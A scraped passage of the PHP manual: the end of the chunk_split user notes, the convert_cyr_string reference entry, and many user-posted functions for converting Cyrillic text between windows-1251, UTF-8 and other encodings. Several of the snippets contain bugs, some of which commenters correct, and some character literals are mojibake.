
<?php
function longWordWrap($string) {
    $string = str_replace("\n", "\n ", $string); // add a space after newline characters, so that 2 words only seperated by \n are not considered as 1 word
    $words = explode(" ", $string); // now split by space
    foreach ($words as $word) {
        $outstring .= chunk_split($word, 12, " ") . " ";
    }
    return $outstring;
}
?>
Chris 15-Jun-2005 02:18
@phpkid:

You can avoid such long complex code and just use some CSS stuff.

Just add style="table-layout:fixed" in your <td > tag and your problem will be solved.

ciao
phpkid 28-May-2005 10:47
Well I have been having issues with a shoutbox I am coding it would keep expanding the <TD> if there were large words in it but I fixed it with this:

function PadString($String){
    $Exploded = explode(" ", $String);
    $Max_Parts = count($Exploded);

    $CurArray = 0;
    $OutString = '';
    while($CurArray<=$Max_Parts)
    {
        $Peice_Size = strlen($Exploded[$CurArray]);
        if($Peice_Size>15)
        {
            $OutString .= chunk_split($Exploded[$CurArray], 12, " ");
            $CurArray++;
        } else {
            $OutString .= " ".$Exploded[$CurArray];
            $CurArray++;
        }
    }

    return $OutString;
}
mv@NOSPAM 24-Jan-2004 07:39
the best way to solve the problem with the last string added by chunk_split() is:

<?php
$string = '1234';
substr(chunk_split($string, 2, ':'), 0, -1);
// will return 12:34
?>
Danilo 10-Dec-2003 02:51
>> chunk_split will also add the break _after_ the last occurence.

this should be not the problem

substr(chunk_split('FF99FF', 2, ':'),0,8);
will return FF:99:FF
sbarnum at pointsystems dot com 20-Apr-2001 07:46
[Editor's note: You can always use wordwrap('FF99FF', 2, ':', 2); to avoid this]

chunk_split will also add the break _after_ the last occurence.  So, attempting to split a color into base components,
chunk_split('FF99FF', 2, ':');
will return FF:99:FF:
chr
convert_cyr_string
String Functions


Convert from one Cyrillic character set to another

chunk_split
convert_uudecode
String Functions
PHP Manual

convert_cyr_string

(PHP 4, PHP 5)

convert_cyr_string — Convert from one Cyrillic character set to another

Description

string convert_cyr_string ( string $str , string $from , string $to )

Converts from one Cyrillic character set to another.

Parameters

str

The string to be converted.

from

The source Cyrillic character set, as a single character.

to

The target Cyrillic character set, as a single character.

Supported characters are:

  • k - koi8-r
  • w - windows-1251
  • i - iso8859-5
  • a - x-cp866
  • d - x-cp866
  • m - x-mac-cyrillic

Return Values

Returns the converted string.

Notes

Note: This function is binary-safe.

User Contributed Notes

strrev(&#34;moc dot liamg at voglod dot yilisav&#34;); 20-Feb-2009 12:02
Unfortunately input data must be a string only. But it is may be changed! ;)

To convert multi-dimensional array I use this recursive function:

<?php
function convert_cyr_array($array,$from,$to){
    foreach($array as $key=>$value){
        if(is_array($value)) {
            $result[$key] = convert_cyr_array($value,$from,$to);
            continue;
        }
        $result[$key] = convert_cyr_string($value,$from,$to);
    }
    return $result;
}
?>

An example:

<?php
$array[0] = "ÑÐ’ÐœÐŸÐ›ÐŸ";
$array[1] = "Ð·Ð¢Ð¥Ð«Ð‘";
$array[2] = array("Ð¿Ð—Ð¥Ð¢Ð•Ð“","Ñ€ÐŸÐÐ™Ð”ÐŸÐ¢");
$array[3] = array(
                     array("Ð±Ð Ð•ÐœÐ¨Ð£Ð™Ðž","Ð½Ð‘ÐžÐ”Ð‘Ð¢Ð™Ðž"),
                     array("Ð±Ð’Ð¢Ð™Ð›ÐŸÐ£","Ñ€Ð•Ð¢Ð£Ð™Ð›")
                );

$result = convert_cyr_array($array,"k","w");
/* Returns:

Array
(
  [0] => Ð¯Ð±Ð»Ð¾ÐºÐ¾
  [1] => Ð“Ñ€ÑƒÑˆÐ°
  [2] => Array
    (
      [0] => ÐžÐ³ÑƒÑ€ÐµÑ†
      [1] => ÐŸÐ¾Ð¼Ð¸Ð´Ð¾Ñ€
    )
  [3] => Array
    (
      [0] => Array
        (
          [0] => ÐÐ¿ÐµÐ»ÑŒÑÐ¸Ð½
          [1] => ÐœÐ°Ð½Ð´Ð°Ñ€Ð¸Ð½
        )
      [1] => Array
        (
          [0] => ÐÐ±Ñ€Ð¸ÐºÐ¾Ñ
          [1] => ÐŸÐµÑ€ÑÐ¸Ðº
        )
    )
)*/
?>
svet007 at gmail dot com 01-Dec-2008 11:47
The win2utf function below is nice but it needs some cleanup: it uses "if ($c==184)..." condition three times and "if ($c==168)..." twice which makes no sense.
web at uit dot kiev dot ua 13-May-2008 06:51
convert text back from utf8 to windows 1251 (russian and ukrainian letters)

function Utf8ToWin($fcontents) {
    $out = $c1 = '';
    $byte2 = false;
    for ($c = 0;$c < strlen($fcontents);$c++) {
        $i = ord($fcontents[$c]);
        if ($i <= 127) {
            $out .= $fcontents[$c];
        }
        if ($byte2) {
            $new_c2 = ($c1 & 3) * 64 + ($i & 63);
            $new_c1 = ($c1 >> 2) & 5;
            $new_i = $new_c1 * 256 + $new_c2;
            if ($new_i == 1025) {
                $out_i = 168;
            } else {
                if ($new_i == 1105) {
                    $out_i = 184;
                } else {
                    $out_i = $new_i - 848;
                }
            }
            // UKRAINIAN fix
            switch ($out_i){
                case 262: $out_i=179;break;// Ñ–
                case 182: $out_i=178;break;// Ð†
                case 260: $out_i=186;break;// Ñ”
                case 180: $out_i=170;break;// Ð„
                case 263: $out_i=191;break;// Ñ—
                case 183: $out_i=175;break;// Ð‡
                case 321: $out_i=180;break;// Ò‘
                case 320: $out_i=165;break;// Ò
            }
            $out .= chr($out_i);

            $byte2 = false;
        }
        if ( ( $i >> 5) == 6) {
            $c1 = $i;
            $byte2 = true;
        }
    }
    return $out;
}
web at uit dot kiev dot ua 24-Apr-2008 07:42
real convert windows-1251 to utf-8 (ukrainian, russian)

function win2utf($s)    {
   for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=192 && $c<=207)    {$t.=chr(208).chr($c-48); continue; }
       if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
       if ($c==184) { $t.=chr(209).chr(209); continue; };
            if ($c==168) { $t.=chr(208).chr(129);  continue; };
            if ($c==184) { $t.=chr(209).chr(145); continue; }; #Ñ‘
            if ($c==168) { $t.=chr(208).chr(129); continue; }; #Ð
            if ($c==179) { $t.=chr(209).chr(150); continue; }; #Ñ–
            if ($c==178) { $t.=chr(208).chr(134); continue; }; #Ð†
            if ($c==191) { $t.=chr(209).chr(151); continue; }; #Ñ—
            if ($c==175) { $t.=chr(208).chr(135); continue; }; #Ñ—
            if ($c==186) { $t.=chr(209).chr(148); continue; }; #Ñ”
            if ($c==170) { $t.=chr(208).chr(132); continue; }; #Ð„
            if ($c==180) { $t.=chr(210).chr(145); continue; }; #Ò‘
            if ($c==165) { $t.=chr(210).chr(144); continue; }; #Ò
            if ($c==184) { $t.=chr(209).chr(145); continue; }; #Ò
   }
   return $t;
}
apoc at ukr dot net 17-Sep-2007 10:43
:) what about NUMBER!!!???

    function Utf8Win($str,$type="w")
    {
        static $conv='';
        if (!is_array($conv))
        {
            $conv = array();
            for($x=128;$x<=143;$x++)
            {
                $conv['u'][]=chr(209).chr($x);
                $conv['w'][]=chr($x+112);
            }
            for($x=144;$x<=191;$x++)
            {
                $conv['u'][]=chr(208).chr($x);
                $conv['w'][]=chr($x+48);
            }
            $conv['u'][]=chr(208).chr(129); // Ð
            $conv['w'][]=chr(168);
            $conv['u'][]=chr(209).chr(145); // Ñ‘
            $conv['w'][]=chr(184);
            $conv['u'][]=chr(208).chr(135); // Ð‡
            $conv['w'][]=chr(175);
            $conv['u'][]=chr(209).chr(151); // Ñ—
            $conv['w'][]=chr(191);
            $conv['u'][]=chr(208).chr(134); // Ð†
            $conv['w'][]=chr(178);
            $conv['u'][]=chr(209).chr(150); // Ñ–
            $conv['w'][]=chr(179);
            $conv['u'][]=chr(210).chr(144); // Ò
            $conv['w'][]=chr(165);
            $conv['u'][]=chr(210).chr(145); // Ò‘
            $conv['w'][]=chr(180);
            $conv['u'][]=chr(208).chr(132); // Ð„
            $conv['w'][]=chr(170);
            $conv['u'][]=chr(209).chr(148); // Ñ”
            $conv['w'][]=chr(186);
            $conv['u'][]=chr(226).chr(132).chr(150); // â„–
            $conv['w'][]=chr(185);
        }
        if ($type == 'w') { return str_replace($conv['u'],$conv['w'],$str); }
        elseif ($type == 'u') { return str_replace($conv['w'], $conv['u'],$str); }
        else { return $str; }
    }
Vasyl Skotona 14-Sep-2007 09:28
A better function to convert cp1251 string to utf8.
Works with russian and ukrainian text.

function unicod($str) {
    $conv=array();
    for($x=128;$x<=143;$x++) $conv[$x+112]=chr(209).chr($x);
    for($x=144;$x<=191;$x++) $conv[$x+48]=chr(208).chr($x);
    $conv[184]=chr(209).chr(145); #Ñ‘
    $conv[168]=chr(208).chr(129); #Ð
    $conv[179]=chr(209).chr(150); #Ñ–
    $conv[178]=chr(208).chr(134); #Ð†
    $conv[191]=chr(209).chr(151); #Ñ—
    $conv[175]=chr(208).chr(135); #Ñ—
    $conv[186]=chr(209).chr(148); #Ñ”
    $conv[170]=chr(208).chr(132); #Ð„
    $conv[180]=chr(210).chr(145); #Ò‘
    $conv[165]=chr(210).chr(144); #Ò
    $conv[184]=chr(209).chr(145); #Ò
    $ar=str_split($str);
    foreach($ar as $b) if(isset($conv[ord($b)])) $nstr.=$conv[ord($b)]; else $nstr.=$b;
    return $nstr;
}
Sote Korveziroski 24-May-2006 02:53
I have made mistake remove this test line:
         echo "<p>".ord($xchr)."</p>\n";
code should be like this:

// Modificated by tapin13
// Corrected by Timuretis
// Corrected by Sote for macedonian cyrillic
// Convert win-1251 to utf-8

function unicode_mk_cyr($str) {
     $encode = "";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 129) {
               $xchr = "&#1027;";
         }
         if(ord($xchr) == 163) {
               $xchr = "&#1032;";
         }
         if(ord($xchr) == 138) {
               $xchr = "&#1033;";
         }
         if(ord($xchr) == 140) {
               $xchr = "&#1034;";
         }
         if(ord($xchr) == 143) {
               $xchr = "&#1039;";
         }
         if(ord($xchr) == 141) {
               $xchr = "&#1036;";
         }
         if(ord($xchr) == 189) {
               $xchr = "&#1029;";
         }

         if(ord($xchr) == 188) {
               $xchr = "&#1112;";
         }
         if(ord($xchr) == 131) {
               $xchr = "&#1107;";
         }
         if(ord($xchr) == 190) {
               $xchr = "&#1109;";
         }
         if(ord($xchr) == 154) {
               $xchr = "&#1113;";
         }
         if(ord($xchr) == 156) {
               $xchr = "&#1114;";
         }
         if(ord($xchr) == 159) {
               $xchr = "&#1119;";
         }
         if(ord($xchr) == 157) {
               $xchr = "&#1116;";
         }
         $encode=$encode . $xchr;
   }
     return $encode;
}
Sote Korveziroski 24-May-2006 10:24
Only this code works OK for me, for translating win-1251 to utf-8 for macedonian letters!

// Modificated by tapin13
// Corrected by Timuretis
// Corrected by Sote for macedonian cyrillic
// Convert win-1251 to utf-8

function unicode_mk_cyr($str) {
     $encode = "";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         echo "<p>".ord($xchr)."</p>\n";
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 129) {
               $xchr = "&#1027;";
         }
         if(ord($xchr) == 163) {
               $xchr = "&#1032;";
         }
         if(ord($xchr) == 138) {
               $xchr = "&#1033;";
         }
         if(ord($xchr) == 140) {
               $xchr = "&#1034;";
         }
         if(ord($xchr) == 143) {
               $xchr = "&#1039;";
         }
         if(ord($xchr) == 141) {
               $xchr = "&#1036;";
         }
         if(ord($xchr) == 189) {
               $xchr = "&#1029;";
         }

         if(ord($xchr) == 188) {
               $xchr = "&#1112;";
         }
         if(ord($xchr) == 131) {
               $xchr = "&#1107;";
         }
         if(ord($xchr) == 190) {
               $xchr = "&#1109;";
         }
         if(ord($xchr) == 154) {
               $xchr = "&#1113;";
         }
         if(ord($xchr) == 156) {
               $xchr = "&#1114;";
         }
         if(ord($xchr) == 159) {
               $xchr = "&#1119;";
         }
         if(ord($xchr) == 157) {
               $xchr = "&#1116;";
         }
         $encode=$encode . $xchr;
   }
     return $encode;
}
zehyaat] yandex dotru 23-Mar-2006 12:15
Sorry for my previous post. NOT array_reverce, array_flip is actual function. Correct function:

function Encode($str,$type=u)
{
    $conv=array();
    for($x=192;$x<=239;$x++)
        $conv[u][chr($x)]=chr(208).chr($x-48);
    for($x=240;$x<=255;$x++)
        $conv[u][chr($x)]=chr(209).chr($x-112);
    $conv[u][chr(168)]=chr(208).chr(129);
    $conv[u][chr(184)]=chr(209).chr(209);
    $conv[w]=array_flip($conv[u]);
    if($type=='w' || $type=='u')
        return strtr($str,$conv[$type]);
    else
        return $str;
}

Sorry for my English ;)
zehya [at] yandex dotru 23-Mar-2006 11:58
cathody at mail dot ru(27-Jul-2005 06:41)
You function doesn't work on my PC..
It's work:
function Encode2($str,$type)
{
    $conv=array();
    for($x=192;$x<=239;$x++)
        $conv[u][chr($x)]=chr(208).chr($x-48);
    for($x=240;$x<=255;$x++)
        $conv[u][chr($x)]=chr(209).chr($x-112);
    $conv[u][chr(168)]=chr(208).chr(129);
    $conv[u][chr(184)]=chr(209).chr(209);
    $conv[w]=array_reverse($conv[u]);
    if($type=='w' || $type=='u')
        return strtr($str,$conv[$type]);
    else
        return $str;
}
sidor <sidor at sidor dot nnov dot ru> 09-Mar-2006 09:23
Sorry for my English

100% worked function for convertion string to utf-8. In this implementation support main cyrilic encodings (cp1251, koi8-r, cp866, mac) For supporting another codepages - just add needed codepage in $recode array (codes in UCS-4. Add just second part of codetable). Second argument for this function for cyrilic codepages - like in convert_cyr_string function ('k','w','a','d','m')
Writed in accordance with rfc2279

Created by Andrey A Sidorenko aka sidor

http://sidor.nnov.ru/str2utf.txt
Timuretis 06-Nov-2005 06:56
// Modificated by tapin13
// Corrected by Timuretis
// Convert win-1251 to utf-8

 function unicode_russian($str) {
     $encode = "";
//    1025 = "&#1025;";
//    1105 = "&#1105;";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 168) {
//             $xchr = "&#1025";
               $xchr = "&#1025;"; //!!!!!!!!!!!!!!!!!!!!!!!
         }
         if(ord($xchr) == 184) {
//             $xchr = "&#1105";
               $xchr = "&#1105;"; //!!!!!!!!!!!!!!!!!!!!!!
         }
         $encode=$encode . $xchr;
   }
     return $encode;
}
tapin13 at atilian dot co dot il 18-Oct-2005 02:20
// Modificated by tapin13
// Convert win-1251 to utf-8

 function unicode_russian($str) {
     $encode = "";
//     1025 = "&#1025;";
//     1105 = "&#1105;";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 168) {
             $xchr = "&#1025";
         }
         if(ord($xchr) == 184) {
             $xchr = "&#1105";
         }
         $encode=$encode . $xchr;
    }
     return $encode;
}
webmaster at chassidus dot ru 29-Aug-2005 10:51
//I've also built the same way for hebrew to utf converting

function heb2utf($s) {

    for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=224 )    {$t.=chr(215).chr($c-80); continue; }

   }
    return $t;
}

//Simple unicoder and decoder for hebrew and russian:

function unicode_hebrew($str) {
    for ($ii=0;$ii<strlen($str);$ii++) {
        $xchr=substr($str,$ii,1);
        if (ord($xchr)>223) {
            $xchr=ord($xchr)+1264;
            $xchr="&#" . $xchr . ";";
        }
        $encode=$encode . $xchr;

    }
    return $encode;

}

function unicode_russian($str) {
    for ($ii=0;$ii<strlen($str);$ii++) {
        $xchr=substr($str,$ii,1);
        if (ord($xchr)>191) {
            $xchr=ord($xchr)+848;
            $xchr="&#" . $xchr . ";";
        }
        $encode=$encode . $xchr;

    }
    return $encode;

}

function decode_unicoded_hebrew($str) {
    $decode="";

    $ar=split("&#",$str);

    foreach ($ar as $value ) {

        $in1=strpos($value,";"); //end of code

        if ($in1>0) {// unicode

            $code=substr($value,0,$in1);

            if ($code>=1456 and $code<=1514) { //hebrew
                   $code=$code-1264;
                $xchr=chr($code);
               } else { //other unicode
                $xchr="&#" . $code . ";";
             }
            $xchr=$xchr . substr($value,$in1+1);
        } else //not unicode
              $xchr = $value;

        $decode=$decode . $xchr;
    }
    return $decode;
}

function decode_unicoded_russian($str) {
    $decode="";

    $ar=split("&#",$str);

    foreach ($ar as $value ) {

        $in1=strpos($value,";"); //end of code

        if ($in1>0) {// unicode

            $code=substr($value,0,$in1);

            if ($code>=1040 and $code<=1103) {
                   $code=$code-848;
                $xchr=chr($code);
               } else {
                $xchr="&#" . $code . ";";
             }
            $xchr=$xchr . substr($value,$in1+1);
        } else
              $xchr = $value;

        $decode=$decode . $xchr;
    }
    return $decode;
}
cathody at mail dot ru 27-Jul-2005 06:41
Praising other people for their efforts to write a convenient UTF8 to Win-1251 functions may I mention that, since str_replace allows arrays as parameters, the function may be rewritten in a slightly efficient way (moreover, the array generated may be stored for performance improvement):

<?php

 function Encode ( $str, $type )
{
 // $type:
// 'w' - encodes from UTF to win
 // 'u' - encodes from win to UTF

    static $conv='';
    if (!is_array ( $conv ))
    {
        $conv=array ();
        for ( $x=128; $x <=143; $x++ )
        {
          $conv['utf'][]=chr(209).chr($x);
          $conv['win'][]=chr($x+112);
        }

        for ( $x=144; $x <=191; $x++ )
        {
               $conv['utf'][]=chr(208).chr($x);
               $conv['win'][]=chr($x+48);
        }

        $conv['utf'][]=chr(208).chr(129);
        $conv['win'][]=chr(168);
        $conv['utf'][]=chr(209).chr(145);
        $conv['win'][]=chr(184);
     }
     if ( $type=='w' )
          return str_replace ( $conv['utf'], $conv['win'], $str );
     elseif ( $type=='u' )
          return str_replace ( $conv['win'], $conv['utf'], $str );
     else
        return $str;
  }
?>
artyomch at coolfold dot com 26-Apr-2005 01:38
I needed a code for taking UTF8 encoded string from DB and printing it in Win1251 encoded HTML. The problem was that I had to print not just english & cyrillic characters, but all characters stored in UTF encoded string (in my case the DB contained english, russian & hebrew characters).
After reading carefully the UTF8 manual, I've written the following code, that converts all non-win1251 characters into html entities (&#XXXX;).

function utf8_2_win1251 ($str_src)
{
    $str_dst = "";
    $i      = 0;
    while ($i<strlen($str_src))
    {
        $code_dst  = 0;
        $code_src1 = ord($str_src[$i]);
        $i++;

        if ($code_src1<=127)
        {
            $str_dst .= chr($code_src1);
            continue;
        }
        else
        if (($code_src1 & 0xE0) == 0xC0)
        {
            $code_src2 = ord($str_src[$i++]);
            if (($code_src2 & 0xC0) != 0x80)
                continue;

            $code_dst = ( ($code_src1 & 0x1F) << 6) + ($code_src2 & 0x3F);
        }
        else
        if (($code_src1 & 0xF0) == 0xE0)
        {
            $code_src2 = ord($str_src[$i++]);
            if (($code_src2 & 0xC0) != 0x80)
                continue;

            $code_src3 = ord($str_src[$i++]);
            if (($code_src3 & 0xC0) != 0x80)
                continue;

            $code_dst = ( ($code_src1 & 0x1F) << 12) + ( ($code_src2 & 0x3F) << 6) + ($code_src3 & 0x3F);
        }
        else
        if (($code_src1 & 0xF8) == 0xF0)
        {
            $code_src2 = ord($str_src[$i++]);
            if (($code_src2 & 0xC0) != 0x80)
                continue;

            $code_src3 = ord($str_src[$i++]);
            if (($code_src3 & 0xC0) != 0x80)
                continue;

            $code_src4 = ord($str_src[$i++]);
            if (($code_src4 & 0xC0) != 0x80)
                continue;

            $code_dst = ( ($code_src1 & 0x1F) << 18) + ( ($code_src2 & 0x3F) << 12) + ( ($code_src3 & 0x3F) << 6) + ($code_src4 & 0x3F);
        }
        else
        {
            continue;
        }

        if ($code_dst)
        {
            if ($code_dst==0x401)
            {
                $str_dst .= "¨";
            }
            else
            if ($code_dst==0x451)
            {
                $str_dst .= "¸";
            }
            else
            if ( ($code_dst>=0x410) && ($code_dst<=0x44F) )
            {
                $str_dst .= chr ($code_dst-848);
            }
            else
                $str_dst .= "&#{$code_dst};";
        }
    }
    return $str_dst;
}
felix[at]tvpro.net.ru 13-Feb-2005 12:57
Check this code -- exelent to convert win-1251 to UTF-8
just one fix!!!
       if ($c==184) { $t.=chr(209).chr(145); continue; };

Anything more it is not necessary.
It is grateful to threed [at] koralsoft.com
28-Jul-2003 03:37
i tried all functions here to convert from cp1251 to unicode, but they don't work. i think that this work :

<?php
function win3utf($s)    {
   for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=192 && $c<=207)    {$t.=chr(208).chr($c-48); continue; }
       if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
       if ($c==184) { $t.=chr(209).chr(209); continue; };
   if ($c==168) { $t.=chr(208).chr(129);  continue; };
   }
   return $t;
}
?>
webmaster [ at ] platinumgeneration dot com 11-Jan-2005 06:36
Here's a WORKING function to convert from UTF-8 to Windows-1251, if your hosting provider does not support iconv
<?php
for ($c=0;$c<strlen($s);$c++){
    $i=ord($s[$c]);
    if ($i<=127) $out.=$s[$c];
        if ($byte2){
            $new_c2=($c1&3)*64+($i&63);
            $new_c1=($c1>>2)&5;
            $new_i=$new_c1*256+$new_c2;
        if ($new_i==1025){
            $out_i=168;
        } else {
            if ($new_i==1105){
                $out_i=184;
            } else {
                $out_i=$new_i-848;
            }
        }
        $out.=chr($out_i);
        $byte2=false;
        }
    if (($i>>5)==6) {
        $c1=$i;
        $byte2=true;
    }
}
return $out;
}
?>
standov at cgu dot kiev dot ua 08-Dec-2004 01:05
He is improved function to decode win1251->UTF8
<?php
        function win2utf($s){
            $c209 = chr(209); $c208 = chr(208); $c129 = chr(129);
            for($i=0; $i<strlen($s); $i++)    {
                $c=ord($s[$i]);
                if ($c>=192 and $c<=239) $t.=$c208.chr($c-48);
                elseif ($c>239) $t.=$c209.chr($c-112);
                elseif ($c==184) $t.=$c209.$c209;
                elseif ($c==168)    $t.=$c208.$c129;
                else $t.=$s[$i];
            }
            return $t;
        }
?>
aeon 27-Dec-2003 08:20
threed's function works great, but the replacement for the letter small io (&#1105;) needs to be changed from
<?php
if ($c==184) { $t.=chr(209).chr(209); continue; };
?>

to
<?php
if ($c==184) { $t.=chr(209).chr(145); continue; };
?>

so, the final working result should look like this:
<?php
function win3utf($s) {
   for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=192 && $c<=207) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
       if ($c==184) { $t.=chr(209).chr(209); continue; };
       if ($c==168) { $t.=chr(208).chr(129); continue; };
   }
   return $t;
}
?>
almi at univ dot kiev dot ua 06-Dec-2003 03:43
to convert cyrillic string to UTF-8 you can use icovn() function. It does work!

<?php
echo iconv ('CP1251','UTF-8','some cyr string');
?>

But you should copile your php '--with-iconv=[DIR]'
threed [at] koralsoft.com 28-Jul-2003 04:37
i tried all functions here to convert from cp1251 to unicode, but they don't work. i think that this work :

<?php
function win3utf($s)    {
    for($i=0, $m=strlen($s); $i<$m; $i++)    {
        $c=ord($s[$i]);
        if ($c<=127) {$t.=chr($c); continue; }
        if ($c>=192 && $c<=207)    {$t.=chr(208).chr($c-48); continue; }
        if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
        if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
        if ($c==184) { $t.=chr(209).chr(209); continue; };
    if ($c==168) { $t.=chr(208).chr(129);  continue; };
    }
    return $t;
}
?>
checat at chat dot ru 12-May-2003 04:59
See also more general
http://www.php.net/manual/ref.iconv.php iconv functions (standart in last glibc) and
http://www.php.net/manual/ref.recode.php Recode functions
german at artexpert dot ee 03-May-2003 05:13
previous bit of code (grmaxim's win_to_utf8 function) didn't work for me, so I wrote my own func to convert from win1251 to utf8:

<?php
function win2utf($s) {
    for($i=0,$m=strlen($s);$i<$m;$i++) {
        $c=ord($s[$i]);
        if ($c>127) // convert only special chars
            if     ($c==184)    $t.=chr(209).chr(209); // small io
            elseif ($c==168)    $t.=chr(208).chr(129); // capital io
            else              $t.=($c>239?chr(209):chr(208)).chr($c-48);
        else $t.=$s[$i];
    }
    return $t;
}
?>

Hope this helps
grmaxim at givc dot ru 17-Apr-2003 08:21
I hope it to you we shall help

<?php
function win_to_utf8($str){
$str = convert_cyr_string($str, 'w','i'); // w - windows-1251   to  i - iso8859-5
$str = utf8_encode ($str); //  iso8859-5   to  utf8
return $str;
}

function utf8_to_win($str){
$str = utf8_decode ($str); //  utf8 to iso8859-5
$str = convert_cyr_string($str, 'i','w'); // w - windows-1251   to  i - iso8859-5
return $str;
}
?>

If there are questions - shall help. Good luck friends!!!
pavel_bashkatov at elkogroup dot com 17-Apr-2003 05:20
To: mihailsbo at lycos dot ru
Transliteration could be done easier:

<?
function transliterate($cyrstr)
    {
        $ru = array('A', 'a',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?');

        $en = array('A', 'a',
                    'B', 'b',
                    'V', 'v',
                    'G', 'g',
                    'D', 'd',
                    'E', 'e',
                    'E', 'e',
                    'Zh', 'zh',
                    'Z', 'z',
                    'I', 'i',
                    'J', 'j',
                    'K', 'k',
                    'L', 'l',
                    'M', 'm',
                    'N', 'n',
                    'O', 'o',
                    'P', 'p',
                    'R', 'r',
                    'S', 's',
                    'T', 't',
                    'U', 'u',
                    'F', 'f',
                    'H', 'h',
                    'C', 'c',
                    'Ch', 'ch',
                    'Sh', 'sh',
                    'Sch', 'sch',
                    '\'', '\'',
                    'Y', 'y',
                    '\'', '\'',
                    'E', 'e',
                    'Ju', 'ju',
                    'Ja', 'ja');

        return str_replace($ru, $en, $cyrstr);
    }
?>
mihailsbo at lycos dot ru 03-Mar-2003 03:15
<?php
// Here is a function that may be useful if you wish
// to convert cyrillic text (windows-1251) to english
// letters (e.g. for sending to a cell phone)

function transliterate( $text )
{
  $cyrlet = 'ÀÁÂÃÄÅ¨ÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞß'.
            'àáâãäå¸æçèéêëìíîïðñòóôõö÷øùúûüýþÿ';

  $englet = 'ABVGD   ZIJKLMNOPRSTUFHC   `Y`E  '.
            'abvgd   zijklmnoprstufhc   `y`e  ';

  $result = '';
  for ( $i=0; $i<strlen($text); $i++ ) {
    $c1 = $text[ $i ];
    $p1 = strpos( $cyrlet, $c1 );
    if ( $p1 === FALSE ) { $result .= $c1; continue; }

    $ct = $englet[ $p1 ];
    if ( $ct != ' ' ) { $result .= $ct; continue; }
    switch ( $c1 )
    {
      case 'Å':
        $ct = 'Je';
        break;

      case 'å':
        $ct = 'e';
        break;

      case '¨':
        $ct = 'Jo';
        break;

      case '¸':
        $ct = 'jo';
        break;

      case 'Æ':
        $ct = 'Zh';
        break;

      case 'æ':
        $ct = 'zh';
        break;

      case '×':
        $ct = 'Ch';
        break;

      case '÷':
        $ct = 'ch';
        break;

      case 'Ø':
        $ct = 'Sh';
        break;

      case 'ø':
        $ct = 'sh';
        break;

      case 'Ù':
        $ct = 'Sch';
        break;

      case 'ù':
        $ct = 'sch';
        break;

      case 'Þ':
        $ct = 'Ju';
        break;

      case 'þ':
        $ct = 'ju';
        break;

      case 'ß':
        $ct = 'Ja';
        break;

      case 'ÿ':
        $ct = 'ja';
        break;

      default:
        $ct = '?';
    }
    $result .= $ct;
  }
  return $result;
}
?>

// P.S. Thanks to PHP developers for rich and convenient
// programming language!
mitya at alesh dot ru 25-Sep-2002 02:21
there is a little script that convert  utf to cp1251

<?php
function u8($win,$h,$t) {
  global $w8;
  $w8[chr($h).chr($t)] = $win;
}

$c1 = chr(208);
$c2 = chr(209);

u8("é",208,185); u8("ö",209,134); u8("ó",209,131);
u8("ê",208,186); u8("å",208,181); u8("í",208,189);
u8("ã",208,179); u8("ø",209,136); u8("ù",209,137);
u8("ç",208,183); u8("õ",209,133); u8("ú",209,138);
u8("ô",209,132); u8("û",209,139); u8("â",208,178);
u8("à",208,176); u8("ï",208,191); u8("ð",209,128);
u8("î",208,190); u8("ë",208,187); u8("ä",208,180);
u8("æ",208,182); u8("ý",209,141); u8("ÿ",209,143);
u8("÷",209,135); u8("ñ",209,129); u8("ì",208,188);
u8("è",208,184); u8("ò",209,130); u8("ü",209,140);
u8("á",208,177); u8("þ",209,142); u8("É",208,153);
u8("Ö",208,166); u8("Ó",208,163); u8("Ê",208,154);
u8("Å",208,149); u8("Í",208,157); u8("Ã",208,147);
u8("Ø",208,168); u8("Ù",208,169); u8("Ç",208,151);
u8("Õ",208,165); u8("Ú",208,170); u8("Ô",208,164);
u8("Û",208,171); u8("Â",208,146); u8("À",208,144);
u8("Ï",208,159); u8("Ð",208,160); u8("Î",208,158);
u8("Ë",208,155); u8("Ä",208,148); u8("Æ",208,150);
